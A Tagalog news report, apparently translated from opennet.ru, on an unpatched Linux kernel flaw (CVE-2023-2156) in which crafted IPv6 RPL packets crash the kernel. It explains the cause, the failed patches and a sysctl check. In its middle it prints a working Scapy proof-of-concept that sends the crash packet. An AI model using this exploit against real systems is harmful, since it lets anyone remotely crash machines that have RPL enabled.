0-araw na Linux IPv6 stack vulnerability na nagbibigay-daan sa malayuang pag-crash ng kernel

Ang impormasyon ay isiniwalat tungkol sa isang hindi na-patch na (0-araw) na kahinaan (CVE-2023-2156) sa Linux kernel na nagpapahintulot sa pagpapahinto sa system sa pamamagitan ng pagpapadala ng mga espesyal na ginawang IPv6 packet (packet-of-death). Ang problema ay lilitaw lamang kapag ang suporta para sa RPL protocol (Routing Protocol for Low-Power and Lossy Networks) ay pinagana, na hindi pinagana bilang default sa mga distribusyon at ginagamit pangunahin sa mga naka-embed na device na tumatakbo sa mga wireless network na may mataas na packet loss.

Ang kahinaan ay sanhi ng maling pangangasiwa ng panlabas na data sa RPL protocol parsing code, na humahantong sa isang pagkabigo sa paggiit at ang kernel ay napupunta sa isang estado ng pagkataranta. Kapag naglalagay ng data na nakuha bilang resulta ng pag-parse ng IPv6 RPL packet header sa k_buff (Socket Buffer) na istraktura, kung ang CmprI field ay nakatakda sa 15, ang Segleft field ay nakatakda sa 1, at ang CmprE ay nakatakda sa 0, ang 48- Ang byte address vector ay na-unpack sa 528 bytes at isang sitwasyon kung saan walang sapat na memorya na nakalaan para sa buffer. Sa kasong ito, ang skb_push function na ginamit upang itulak ang data sa istraktura ay nagpapagana ng isang tseke para sa hindi katimbang na laki ng data at ng buffer, na nagdudulot ng panic na estado upang maiwasan ang pag-overwrite sa buffer.

Halimbawa ng pagsasamantala: # Gagamitin namin ang Scapy para gawin ang packet mula sa scapy.all import * import socket # Gamitin ang IPv6 mula sa iyong LAN interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Gumagamit kami ng mga socket para ipadala ang packet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Craft the packet # Type = 3 ginagawa itong RPL packet # Ang mga address ay naglalaman ng 3 address, ngunit dahil ang CmprI ay 15, # bawat octet ng unang dalawang address ay itinuturing bilang isang naka-compress na address # Segleft = 1 upang ma-trigger ang amplification # lastentry = 0xf0 ay nagtatakda ng CmprI sa 15 at CmprE sa 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Send this evil packet sockfd.sendto(bytes(p), (DST_ADDR, 0))

Kapansin-pansin na ang mga kernel developer ay naabisuhan tungkol sa kahinaan noong Enero 2022 at sa nakalipas na 15 buwan sinubukan nilang ayusin ang problema nang tatlong beses sa pamamagitan ng paglalabas ng mga patch noong Setyembre 2022, Oktubre 2022 at Abril 2023, ngunit sa bawat oras na ang mga pag-aayos ay hindi. sapat at ang kahinaan ay nagawang magparami. Sa huli, ang proyekto ng ZDI, na nag-coordinate sa trabaho upang maalis ang kahinaan, ay nagpasya na ibunyag ang detalyadong impormasyon tungkol sa kahinaan, nang hindi naghihintay para sa isang gumaganang patch na lumitaw sa kernel.

Kaya, ang kahinaan ay hindi pa rin natatanggal. Ang pagsasama ng patch na kasama sa 6.4-rc2 kernel ay hindi epektibo. Ang mga gumagamit ay pinapayuhan na i-verify na ang RPL protocol ay hindi ginagamit sa kanilang mga system, na maaaring gawin gamit ang sysctl -a | grep -i rpl_seg_enabled

Pinagmulan: opennet.ru

Magdagdag ng komento